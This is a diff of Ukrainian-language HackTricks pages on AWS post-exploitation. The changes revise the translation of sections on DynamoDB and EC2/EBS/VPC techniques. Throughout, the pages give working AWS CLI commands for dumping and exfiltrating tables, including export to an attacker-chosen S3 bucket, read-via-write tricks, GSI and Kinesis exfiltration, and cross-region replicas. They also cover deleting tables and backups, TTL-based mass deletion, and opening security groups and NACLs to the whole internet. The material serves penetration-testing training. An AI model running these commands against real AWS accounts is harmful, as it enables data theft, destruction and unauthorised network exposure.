+Ви можете використати цей дозвіл, щоб **легко dump всю таблицю**.
```bash
aws dynamodb scan --table-name #Get data inside the table
```
-**Можливий вплив:** Непрямий privesc шляхом знаходження конфіденційної інформації в таблиці
+**Потенційний вплив:** Непрямий privesc шляхом виявлення конфіденційної інформації в таблиці
### `dynamodb:PartiQLSelect`
-Ви можете використовувати цей дозвіл, щоб **легко dump всю таблицю**
+Ви можете використовувати цей дозвіл, щоб **легко dump всю таблицю**.
```bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
@@ -129,13 +129,13 @@ aws dynamodb execute-statement \
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
-але потрібно вказати первинний ключ із значенням, тому це не надто корисно.
+але потрібно вказати первинний ключ зі значенням, тому це не так корисно.
-**Potential Impact:** Непрямий privesc шляхом виявлення чутливої інформації в таблиці
+**Потенційний вплив:** Опосередкований privesc шляхом знаходження чутливої інформації в таблиці
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
-Ця дозвола дозволить нападникові **експортувати всю таблицю в S3 bucket** на свій вибір:
+Цей дозвіл дозволяє зловмиснику **експортувати всю таблицю до S3 bucket** за своїм вибором:
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:::table/TargetTable \
@@ -144,34 +144,33 @@ aws dynamodb export-table-to-point-in-time \
--export-time \
--region
```
-Зверніть увагу, що для цього таблиця має мати увімкнену point-in-time-recovery, ви можете перевірити, чи таблиця має її за допомогою:
+Зауважте, що для цього таблиця має мати увімкнену point-in-time-recovery, ви можете перевірити, чи таблиця має її за допомогою:
```bash
aws dynamodb describe-continuous-backups \
--table-name
```
-Якщо це не ввімкнено, вам потрібно **увімкнути це**, а для цього вам потрібен дозвіл **`dynamodb:ExportTableToPointInTime`**:
+Якщо він не увімкнений, вам потрібно буде **увімкнути його**, і для цього потрібен дозвіл **`dynamodb:ExportTableToPointInTime`**:
```bash
aws dynamodb update-continuous-backups \
--table-name \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
-**Potential Impact:** Indirect privesc шляхом знаходження чутливої інформації в таблиці
+**Потенційний вплив:** Непряме privesc шляхом знаходження конфіденційної інформації в таблиці
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
-
-З цими дозволами нападник зможе **створити нову таблицю з резервної копії** (або навіть створити резервну копію, щоб потім відновити її в іншій таблиці). Далі, маючи необхідні дозволи, він зможе перевіряти **інформацію** з резервних копій, яка **більше не міститься в продукційній таблиці**.
+Маючи ці дозволи, зловмисник зможе **створити нову таблицю з резервної копії** (або навіть створити резервну копію, щоб потім відновити її в іншій таблиці). Потім, за наявності необхідних дозволів, він зможе перевірити **інформацію** з резервних копій, яка н**е може більше бути в продукційній** таблиці.
```bash
aws dynamodb restore-table-from-backup \
--backup-arn \
--target-table-name \
--region
```
-**Potential Impact:** Непряма privesc шляхом знаходження чутливої інформації у резервній копії таблиці
+**Потенційний вплив:** Непряме privesc шляхом знаходження чутливої інформації у резервній копії таблиці
### `dynamodb:PutItem`
-Цей дозвіл дає змогу користувачам додавати **новий елемент до таблиці або замінити існуючий елемент** новим елементом. Якщо елемент з тим самим первинним ключем вже існує, **весь елемент буде замінено** новим елементом. Якщо первинний ключ не існує, новий елемент з вказаним первинним ключем буде **створений**.
+Цей дозвіл дозволяє користувачам додавати **новий елемент до таблиці або замінювати існуючий елемент** новим елементом. Якщо елемент з тим самим первинним ключем вже існує, **весь елемент буде замінено** на новий. Якщо первинний ключ не існує, буде **створено** новий елемент зі вказаним первинним ключем.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -203,11 +202,11 @@ aws dynamodb put-item \
{{#endtab }}
{{#endtabs }}
-**Потенційний вплив:** Експлуатація інших вразливостей/обхідних механізмів завдяки можливості додавати/змінювати дані в таблиці DynamoDB
+**Можливий вплив:** Експлуатація додаткових вразливостей/обхідних шляхів завдяки можливості додавати/змінювати дані в таблиці DynamoDB
### `dynamodb:UpdateItem`
-Цей дозвіл дозволяє користувачам **змінювати існуючі атрибути елемента або додавати нові атрибути до елемента**. Вона **не замінює** весь елемент; вона лише оновлює вказані атрибути. Якщо первинний ключ не існує в таблиці, операція **створить новий елемент** з вказаним первинним ключем та встановить атрибути, вказані в update expression.
+Цей дозвіл дозволяє користувачам **змінювати існуючі атрибути елемента або додавати нові атрибути до елемента**. Він **не замінює** весь елемент; він лише оновлює вказані атрибути. Якщо первинний ключ не існує в таблиці, операція **створить новий елемент** з указаним первинним ключем і встановить атрибути, зазначені у виразі оновлення.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -243,36 +242,36 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
-**Потенційний вплив:** Експлуатація подальших уразливостей/обхідних шляхів за рахунок можливості додавати/змінювати дані в таблиці DynamoDB
+**Potential Impact:** Експлуатація подальших вразливостей/bypasses через можливість додавати/змінювати дані в таблиці DynamoDB
### `dynamodb:DeleteTable`
-Зловмисник з цим дозволом може **видалити таблицю DynamoDB, спричинивши втрату даних**
+Зловмисник з цим дозволом може **видалити таблицю DynamoDB, що призведе до втрати даних**.
```bash
aws dynamodb delete-table \
--table-name TargetTable \
--region
```
-**Потенційний вплив**: Втрата даних та порушення роботи сервісів, що залежать від видаленої таблиці.
+**Можливий вплив**: Втрата даних та порушення роботи сервісів, що залежать від видаленої таблиці.
### `dynamodb:DeleteBackup`
-Зловмисник з цим дозволом може **видалити резервну копію DynamoDB, що потенційно може призвести до втрати даних у разі аварійного відновлення**.
+Атакувальник із цим дозволом може **видалити резервну копію DynamoDB, що може призвести до втрати даних у разі сценарію відновлення після аварії**.
```bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \
--region
```
-**Потенційний вплив**: Втрата даних та неможливість відновлення з резервної копії під час сценарію відновлення після аварії.
+**Potential impact**: Втрати даних та неможливість відновитися з резервної копії під час сценарію аварійного відновлення.
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
-> TODO: Перевірити, чи це справді працює
+> TODO: Перевірити, чи це дійсно працює
-Зловмисник з такими дозволами може **увімкнути потік у таблиці DynamoDB, оновити таблицю, щоб почати потокове передавання змін, а потім отримати доступ до потоку для відстеження змін у таблиці в режимі реального часу**. Це дозволяє зловмиснику відстежувати та exfiltrate зміни даних, що потенційно може призвести до data leakage.
+Зловмисник з такими дозволами може **увімкнути stream на таблиці DynamoDB, оновити таблицю, щоб почати streaming змін, а потім отримати доступ до stream для відстеження змін у таблиці в реальному часі**. Це дозволяє зловмиснику відстежувати та exfiltrate зміни даних, що потенційно може призвести до data leakage.
-1. Увімкнути потік у таблиці DynamoDB:
+1. Увімкнути stream на таблиці DynamoDB:
```bash
aws dynamodb update-table \
--table-name TargetTable \
@@ -293,7 +292,7 @@ aws dynamodbstreams get-shard-iterator \
--shard-iterator-type LATEST \
--region
```
-4. Використайте shard iterator для доступу та exfiltrate даних зі stream:
+4. Використайте shard iterator, щоб отримати доступ і exfiltrate дані зі stream:
```bash
aws dynamodbstreams get-records \
--shard-iterator \
@@ -303,12 +302,12 @@ aws dynamodbstreams get-records \
### Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
-Атакувач, який має лише `dynamodb:UpdateItem` на таблиці, може читати елементи без звичних дозволів на читання (`GetItem`/`Query`/`Scan`) шляхом виконання нешкідливого оновлення і запиту `--return-values ALL_OLD`. DynamoDB поверне повне попереднє зображення елемента у полі `Attributes` відповіді (це не споживає RCUs).
+Зловмисник, який має лише `dynamodb:UpdateItem` для таблиці, може читати елементи без будь-яких звичних прав на читання (`GetItem`/`Query`/`Scan`), виконавши нешкідливе оновлення та запросивши `--return-values ALL_OLD`. DynamoDB поверне повний стан елемента до оновлення у полі `Attributes` відповіді (це не споживає RCUs).
-- Мінімальні дозволи: `dynamodb:UpdateItem` на цільовій таблиці/ключі.
-- Передумови: потрібно знати первинний ключ елемента.
+- Minimum permissions: `dynamodb:UpdateItem` on the target table/key.
+- Prerequisites: Потрібно знати первинний ключ елемента.
-Приклад (додає нешкідливий атрибут і exfiltrates попередній елемент у відповіді):
+Example (додає нешкідливий атрибут і exfiltrates попередній елемент у відповіді):
```bash
aws dynamodb update-item \
--table-name \
@@ -319,14 +318,14 @@ aws dynamodb update-item \
--return-values ALL_OLD \
--region
```
-Відповідь CLI включатиме блок `Attributes`, який містить повний попередній елемент (усі атрибути), фактично надаючи примітив читання (read primitive) з доступу лише для запису.
+У відповіді CLI буде блок `Attributes`, що містить повний попередній елемент (all attributes), фактично надаючи read primitive з write-only access.
-**Потенційний вплив:** Читання довільних елементів таблиці, маючи лише права на запис, що дозволяє екфільтрацію конфіденційних даних, якщо відомі первинні ключі.
+**Potential Impact:** Read arbitrary items з таблиці, маючи лише write permissions, що дозволяє sensitive data exfiltration, якщо відомі primary keys.
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
-Прихована екфільтрація шляхом додавання нової регіональної репліки до DynamoDB Global Table (version 2019.11.21). Якщо принципал може додати регіональну репліку, уся таблиця реплікується в регіон, обраний зловмисником, звідки зловмисник може прочитати всі елементи.
+Stealth exfiltration шляхом додавання нового replica Region до DynamoDB Global Table (version 2019.11.21). Якщо principal може додати regional replica, вся таблиця реплікується в attacker-chosen Region, звідки attacker може прочитати всі items.
{{#tabs }}
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -355,13 +354,13 @@ aws dynamodb update-table \
{{#endtab }}
{{#endtabs }}
-Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. Якщо у репліці використовується CMK, можуть знадобитися права KMS для цього ключа.
+Дозволи: `dynamodb:UpdateTable` (with `replica-updates`) або `dynamodb:CreateTableReplica` для цільової таблиці. Якщо у реплиці використовується CMK, можуть знадобитися KMS-права для цього ключа.
-Potential Impact: Повна реплікація таблиці в регіон, контрольований зловмисником, що призводить до прихованого виведення даних.
+Potential Impact: Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration.
-### `dynamodb:TransactWriteItems` (читання через невдалу умову + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
+### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
-Зловмисник із правами на транзакційні операції запису може вивести повні атрибути існуючого елементу, виконавши `Update` всередині `TransactWriteItems`, що навмисно призведе до невдачі `ConditionExpression`, одночасно встановивши `ReturnValuesOnConditionCheckFailure=ALL_OLD`. При відмові DynamoDB включає попередні атрибути в причини скасування транзакції, фактично перетворюючи доступ тільки для запису в доступ для читання цільових ключів.
+Атакуючий із правами транзакційного запису може exfiltrate повні атрибути існуючого елемента, виконавши `Update` всередині `TransactWriteItems`, який навмисно провалює `ConditionExpression`, одночасно встановивши `ReturnValuesOnConditionCheckFailure=ALL_OLD`. При провалі DynamoDB додає попередні атрибути до причин скасування транзакції, фактично перетворюючи доступ тільки для запису на доступ для читання по цільових ключах.
{{#tabs }}
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -410,21 +409,21 @@ print(e.response['CancellationReasons'][0]['Item'])
{{#endtab }}
{{#endtabs }}
-Дозволи: `dynamodb:TransactWriteItems` на цільовій таблиці (та на відповідному item). Дозволи для читання не потрібні.
+Права: `dynamodb:TransactWriteItems` на цільовій таблиці (та на відповідному елементі). Права на читання не потрібні.
-Можливий вплив: читання довільних елементів (за первинним ключем) з таблиці, використовуючи лише привілеї транзакційного запису через повернуті причини скасування.
+Можливий вплив: читання довільних елементів (за первинним ключем) з таблиці, використовуючи лише транзакційні права на запис через повернені причини скасування.
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` на GSI
-Обійдіть обмеження на читання, створивши Global Secondary Index (GSI) з `ProjectionType=ALL` на атрибуті з низькою ентропією, встановивши цьому атрибуту сталe значення для всіх елементів, а потім `Query` індекс, щоб отримати повні елементи. Це працює навіть якщо `Query`/`Scan` на базовій таблиці заборонено, доки ви можете виконувати запит до ARN індексу.
+Обійдіть обмеження на читання, створивши Global Secondary Index (GSI) з `ProjectionType=ALL` на атрибуті з низькою ентропією, встановіть цей атрибут у постійне значення для всіх елементів, а потім за допомогою `Query` індексу отримайте повні елементи. Це працює навіть якщо `Query`/`Scan` до базової таблиці заборонено, за умови що ви можете виконувати запити до ARN індексу.
- Мінімальні дозволи:
- `dynamodb:UpdateTable` на цільовій таблиці (щоб створити GSI з `ProjectionType=ALL`).
-- `dynamodb:UpdateItem` на ключах цільової таблиці (щоб встановити індексований атрибут для кожного елемента).
+- `dynamodb:UpdateItem` на ключах цільової таблиці (щоб встановити індексований атрибут у кожному елементі).
- `dynamodb:Query` на ARN ресурсу індексу (`arn:aws:dynamodb:::table//index/`).
-Кроки (PoC в us-east-1):
+Кроки (PoC у us-east-1):
```bash
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
@@ -462,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
```
-**Потенційний вплив:** Повне exfiltration всієї таблиці шляхом запиту новоствореного GSI, який проєктує всі атрибути, навіть коли базові API читання таблиці заборонені.
+**Потенційний вплив:** Full table exfiltration шляхом запиту до новоствореного GSI, який проєктує всі атрибути, навіть коли read APIs базової таблиці заборонені.
-### `dynamodb:EnableKinesisStreamingDestination` (Безперервне exfiltration через Kinesis Data Streams)
+### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
-Зловживання DynamoDB Kinesis streaming destinations для безперервного exfiltrate змін з таблиці в контрольований зловмисником Kinesis Data Stream. Після увімкнення кожна подія INSERT/MODIFY/REMOVE пересилається майже в реальному часі до Kinesis Data Stream без потреби в дозволах на читання таблиці.
+Зловживання DynamoDB Kinesis streaming destinations для безперервної exfiltration змін із таблиці в attacker-controlled Kinesis Data Stream. Після увімкнення кожна подія INSERT/MODIFY/REMOVE передається near real-time у stream без потреби в read permissions до таблиці.
-Мінімальні дозволи (зловмисник):
+Мінімальні дозволи (attacker):
- `dynamodb:EnableKinesisStreamingDestination` на цільовій таблиці
-- За потреби `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` для моніторингу статусу
-- Дозволи на читання на Kinesis stream, що належить зловмиснику, для споживання записів: `kinesis:*`
+- Опційно `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` для моніторингу статусу
+- Дозволи на читання на Kinesis stream, що належить attacker, для споживання записів: `kinesis:*`
PoC (us-east-1)
@@ -531,19 +530,17 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
```
### `dynamodb:UpdateTimeToLive`
-Зловмисник, який має дозвіл dynamodb:UpdateTimeToLive, може змінити конфігурацію TTL (time-to-live) таблиці — увімкнути або вимкнути TTL.
+Зловмисник, який має дозвіл `dynamodb:UpdateTimeToLive`, може змінювати конфігурацію TTL (time-to-live) таблиці — вмикати або вимикати TTL. Коли TTL увімкнено, окремі елементи, що містять налаштований атрибут TTL, будуть автоматично видалені, щойно настане їхній час завершення. Значення TTL — це просто ще один атрибут у кожному елементі; елементи без цього атрибуту не підлягають видаленню на основі TTL.
-Коли TTL увімкнено, окремі елементи, що містять налаштований атрибут TTL, автоматично видаляються, коли настає їхній час закінчення. Значення TTL — це просто ще один атрибут кожного елемента; елементи без цього атрибута не підлягають видаленню за TTL.
+Якщо елементи ще не містять атрибут TTL, зловмисникові також знадобиться дозвіл на оновлення елементів (наприклад `dynamodb:UpdateItem`), щоб додати атрибут TTL і спричинити масові видалення.
-Якщо елементи не містять атрибута TTL, зловмиснику також знадобиться дозвіл на оновлення елементів (наприклад dynamodb:UpdateItem), щоб додати атрибут TTL і спричинити масові видалення.
-
-Спочатку увімкніть TTL для таблиці, вказавши ім'я атрибута, який використовуватиметься для встановлення часу життя:
+Спочатку увімкніть TTL для таблиці, вказавши ім'я атрибуту, який використовуватиметься для визначення терміну придатності:
```bash
aws dynamodb update-time-to-live \
--table-name \
--time-to-live-specification "Enabled=true, AttributeName="
```
-Потім оновіть items, додавши атрибут TTL (epoch seconds), щоб вони вичерпали термін дії та були видалені:
+Потім оновіть елементи, додавши атрибут TTL (секунди епохи), щоб вони протермінувалися й були видалені:
```bash
aws dynamodb update-item \
--table-name \
@@ -553,7 +550,7 @@ aws dynamodb update-item \
```
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
-Зловмисник, який має дозволи `dynamodb:RestoreTableFromAwsBackup` або `dynamodb:RestoreTableToPointInTime`, може створювати нові таблиці, відновлені з бекапів або з point-in-time recovery (PITR), не перезаписуючи початкову таблицю. Відновлена таблиця містить повне зображення даних на вибраний момент, тож зловмисник може використовувати її для експфільтрації історичної інформації або отримати повний дамп попереднього стану бази даних.
+Атакуючий, у якого є дозволи dynamodb:RestoreTableFromAwsBackup або dynamodb:RestoreTableToPointInTime, може створювати нові таблиці, відновлені з резервних копій або за допомогою відновлення до точки часу (PITR), не перезаписуючи оригінальну таблицю. Відновлена таблиця містить повний знімок даних на обрану точку, тож атакуючий може використати її для exfiltrate історичної інформації або отримати повний dump попереднього стану бази даних.
Restore a DynamoDB table from an on-demand backup:
```bash
@@ -561,7 +558,7 @@ aws dynamodb restore-table-from-backup \
--target-table-name \
--backup-arn
```
-Відновити таблицю DynamoDB до точки в часі (створити нову таблицю зі станом після відновлення):
+Відновити таблицю DynamoDB до точки в часі (створити нову таблицю з відновленим станом):
```bash
aws dynamodb restore-table-to-point-in-time \
--source-table-name \
@@ -570,7 +567,7 @@ aws dynamodb restore-table-to-point-in-time \
````
-**Potential Impact:** Неперервне, майже в режимі реального часу exfiltration змін таблиці в attacker-controlled Kinesis stream без прямих read operations на таблиці.
+**Потенційний вплив:** Постійна, майже у режимі реального часу exfiltration змін таблиці у Kinesis stream, який контролюється атакуючим, без прямих операцій читання таблиці.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index 5f197d04a..daf17e9e6 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -1,10 +1,10 @@
-# AWS - EC2, EBS, SSM & VPC Постексплуатація
+# AWS - EC2, EBS, SSM & VPC Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## EC2 & VPC
-Для додаткової інформації дивіться:
+Для отримання додаткової інформації див.:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,11 +12,11 @@
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
-VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** без потреби встановлювати щось на самих інстансах.\
-Зазвичай цей дубльований трафік надсилається, наприклад, до системи виявлення вторгнень у мережу (IDS) для аналізу та моніторингу.\
+VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** без необхідності встановлювати що-небудь на самі інстанси.\
+Такий дуплікований трафік зазвичай надсилається, наприклад, у network intrusion detection system (IDS) для аналізу та моніторингу.\
Зловмисник може зловживати цим, щоб перехопити весь трафік і отримати з нього конфіденційну інформацію:
-Для додаткової інформації дивіться на цій сторінці:
+Для отримання додаткової інформації див. цю сторінку:
{{#ref}}
aws-malicious-vpc-mirror.md
@@ -24,7 +24,7 @@ aws-malicious-vpc-mirror.md
### Copy Running Instance
-Instances зазвичай містять певну конфіденційну інформацію. Існують різні способи отримати доступ (перегляньте [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Однак інший спосіб перевірити, що в ньому міститься — **створити AMI і запустити з нього новий instance (навіть у власному акаунті)**:
+Інстанси зазвичай містять певну конфіденційну інформацію. Є різні способи потрапити всередину (див. [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Однак інший спосіб перевірити, що в ньому міститься — **створити AMI і запустити з нього новий інстанс (навіть у власному акаунті)**:
```shell
# List instances
aws ec2 describe-images
@@ -48,10 +48,10 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
```
-### Дамп EBS Snapshot
+### EBS Snapshot dump
-**Snapshots — це резервні копії томів**, які зазвичай містять **чутливу інформацію**, тому їх перевірка зазвичай розкриває таку інформацію.\
-Якщо ви знайдете **том без знімка**, ви можете: **створити знімок** і виконати наведені дії або просто **підмонтрувати його в інстанс** в акаунті:
+**Snapshots are backups of volumes**, які зазвичай містять **чутливу інформацію**, тому їх перевірка має це виявити.\
+Якщо ви знайдете a **volume without a snapshot** ви можете: **Create a snapshot** і виконати наступні дії або просто **mount it in an instance** в межах облікового запису:
{{#ref}}
aws-ebs-snapshot-dump.md
@@ -59,7 +59,7 @@ aws-ebs-snapshot-dump.md
### Covert Disk Exfiltration via AMI Store-to-S3
-Експортуйте EC2 AMI безпосередньо в S3 за допомогою `CreateStoreImageTask`, щоб отримати сирий диск-образ без шарингу знімка. Це дозволяє повну офлайн-форензику або викрадення даних, не змінюючи мережеві налаштування інстансу.
+Експортуйте EC2 AMI напряму в S3, використовуючи `CreateStoreImageTask`, щоб отримати raw disk image без необхідності шарингу snapshot. Це дозволяє провести повний offline forensics або data theft, залишаючи мережеві налаштування інстансу без змін.
{{#ref}}
aws-ami-store-s3-exfiltration.md
@@ -67,7 +67,7 @@ aws-ami-store-s3-exfiltration.md
### Live Data Theft via EBS Multi-Attach
-Підключіть io1/io2 Multi-Attach том до іншого інстансу та змонтуйте його тільки для читання, щоб витягти живі дані без створення знімків. Корисно, коли цільовий том вже має увімкнений Multi-Attach в тому ж AZ.
+Прикріпіть io1/io2 Multi-Attach volume до другого інстансу та змонтуйте його в режимі read-only, щоб перекачувати live data без створення snapshots. Корисно, коли victim volume вже має Multi-Attach у тій же AZ.
{{#ref}}
aws-ebs-multi-attach-data-theft.md
@@ -75,7 +75,7 @@ aws-ebs-multi-attach-data-theft.md
### EC2 Instance Connect Endpoint Backdoor
-Створіть EC2 Instance Connect Endpoint, дозволіть вхідний трафік і інжектуйте тимчасові SSH-ключі для доступу до приватних інстансів через керований тунель. Дає швидкі шляхи латерального руху без відкриття публічних портів.
+Створіть EC2 Instance Connect Endpoint, авторизуйте ingress та інжектуйте ephemeral SSH keys для доступу до приватних інстансів через managed tunnel. Дає швидкі шляхи lateral movement без відкриття public ports.
{{#ref}}
aws-ec2-instance-connect-endpoint-backdoor.md
@@ -83,7 +83,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
### EC2 ENI Secondary Private IP Hijack
-Перенесіть вторинну приватну IP-адресу ENI жертви на ENI під контролем атакуючого, щоб видаватися за довірені хости, які дозволені за IP. Дозволяє обходити внутрішні ACLs або правила SG, прив'язані до конкретних адрес.
+Перенесіть secondary private IP жертви з ENI на ENI, контрольований атакуючим, щоб імітувати trusted hosts, які знаходяться в allowlist по IP. Дозволяє обходити внутрішні ACLs або SG rules, прив’язані до конкретних адрес.
{{#ref}}
aws-eni-secondary-ip-hijack.md
@@ -91,7 +91,7 @@ aws-eni-secondary-ip-hijack.md
### Elastic IP Hijack for Ingress/Egress Impersonation
-Пересв'яжіть Elastic IP від інстансу жертви на інстанс атакуючого, щоб перехоплювати вхідний трафік або ініціювати вихідні з'єднання, які виглядають як з довіреної публічної IP-адреси.
+Повторно асоціюйте Elastic IP з інстансу жертви на інстанс атакуючого, щоб перехоплювати inbound traffic або генерувати outbound connections, які здаються такими, що походять з trusted public IPs.
{{#ref}}
aws-eip-hijack-impersonation.md
@@ -99,7 +99,7 @@ aws-eip-hijack-impersonation.md
### Security Group Backdoor via Managed Prefix Lists
-Якщо правило security group посилається на customer-managed prefix list, додавання CIDR-адрес атакуючого до цього списку непомітно розширює доступ для всіх залежних правил SG без зміни самої SG.
+Якщо правило security group посилається на customer-managed prefix list, додавання attacker CIDRs у цей список тихо розширює доступ для всіх залежних SG rule без модифікації самої SG.
{{#ref}}
aws-managed-prefix-list-backdoor.md
@@ -107,7 +107,7 @@ aws-managed-prefix-list-backdoor.md
### VPC Endpoint Egress Bypass
-Створіть gateway або interface VPC endpoints, щоб відновити вихідний доступ з ізольованих підмереж. Використання AWS-managed private links обходить відсутні контролі IGW/NAT для ексфільтрації даних.
+Створіть gateway або interface VPC endpoints, щоб відновити outbound access з ізольованих subnets. Використання AWS-managed private links обходить відсутні IGW/NAT контролі для data exfiltration.
{{#ref}}
aws-vpc-endpoint-egress-bypass.md
@@ -115,12 +115,12 @@ aws-vpc-endpoint-egress-bypass.md
### `ec2:AuthorizeSecurityGroupIngress`
-Атакуючий з дозволом ec2:AuthorizeSecurityGroupIngress може додавати inbound правила до security group (наприклад, дозволяючи tcp:80 з 0.0.0.0/0), тим самим відкриваючи внутрішні сервіси в публічний Інтернет або для несанкціонованих мереж.
+Атакуючий з правом `ec2:AuthorizeSecurityGroupIngress` може додавати inbound rules до security groups (наприклад, дозволити tcp:80 з 0.0.0.0/0), тим самим виставляючи internal services в public Internet або іншим неавторизованим мережам.
```bash
aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0
```
# `ec2:ReplaceNetworkAclEntry`
-Атакувальник, який має дозволи ec2:ReplaceNetworkAclEntry (або подібні), може змінити Network ACLs (NACLs) підмережі, зробивши їх дуже permissive — наприклад дозволивши 0.0.0.0/0 на критичних портах — що відкриває весь діапазон підмережі в Інтернет або для неавторизованих мережевих сегментів. На відміну від Security Groups, які застосовуються на рівні екземпляра, NACLs застосовуються на рівні підмережі, тому зміна обмежувального NACL може мати значно більший радіус ураження, дозволяючи доступ до значно більшої кількості хостів.
+Зловмисник, який має дозволи ec2:ReplaceNetworkAclEntry (або подібні), може змінити Network ACLs (NACLs) підмережі так, щоб вони стали вкрай відкритими — наприклад дозволивши 0.0.0.0/0 на критичних портах — піддавши весь діапазон підмережі доступу з Інтернету або неавторизованих мережевих сегментів. На відміну від Security Groups, які застосовуються на рівні окремого інстансу, NACLs застосовуються на рівні підмережі, тож зміна суворого NACL може мати значно більший радіус ураження, дозволяючи доступ до значно більшої кількості хостів.
```bash
aws ec2 replace-network-acl-entry \
--network-acl-id \
@@ -132,16 +132,16 @@ aws ec2 replace-network-acl-entry \
```
### `ec2:Delete*`
-Зловмисник із дозволами ec2:Delete* та iam:Remove* може видаляти критичні ресурси інфраструктури та конфігурації — наприклад key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Це може спричинити негайне порушення роботи сервісів, втрату даних та втрату судово-експертних доказів.
+An attacker з правами ec2:Delete* та iam:Remove* може видаляти критичні ресурси інфраструктури та конфігурації — наприклад key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, або managed endpoints. Це може спричинити негайне припинення роботи сервісу, втрату даних та втрату судових доказів.
-Один приклад — видалення security group:
+One example is deleting a security group:
aws ec2 delete-security-group \
--group-id
### VPC Flow Logs Cross-Account Exfiltration
-Налаштуйте VPC Flow Logs на відправку до attacker-controlled S3 bucket, щоб безперервно збирати мережеві метадані (source/destination, ports) за межами акаунта жертви для довготривалої розвідки.
+Направте VPC Flow Logs у attacker-controlled S3 bucket, щоб безперервно збирати мережеві метадані (source/destination, ports) поза межами victim account для довгострокової reconnaissance.
{{#ref}}
aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -151,99 +151,99 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
#### DNS Exfiltration
-Навіть якщо ви закриєте EC2 так, що з нього не виходить трафік, він все одно може **exfil via DNS**.
+Навіть якщо ви закриєте EC2 так, що трафік не може вийти, він все одно може **exfil via DNS**.
-- **VPC Flow Logs не зафіксують цього**.
-- Ви не маєте доступу до AWS DNS logs.
+- **VPC Flow Logs will not record this**.
+- У вас немає доступу до AWS DNS logs.
- Вимкніть це, встановивши "enableDnsSupport" в false за допомогою:
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id `
#### Exfiltration via API calls
-Зловмисник може викликати API endpoints акаунта, який він контролює. Cloudtrail зафіксує ці виклики, і зловмисник зможе побачити exfiltrate data у Cloudtrail logs.
+An attacker може викликати API endpoints облікового запису, яким він керує. Cloudtrail зафіксує ці виклики, і attacker зможе побачити exfiltrate data у Cloudtrail logs.
### Open Security Group
-Ви можете отримати додатковий доступ до мережевих сервісів, відкриваючи порти таким чином:
+Ви можете отримати додатковий доступ до мережевих сервісів, відкривши порти таким чином:
```bash
aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
```
### Privesc to ECS
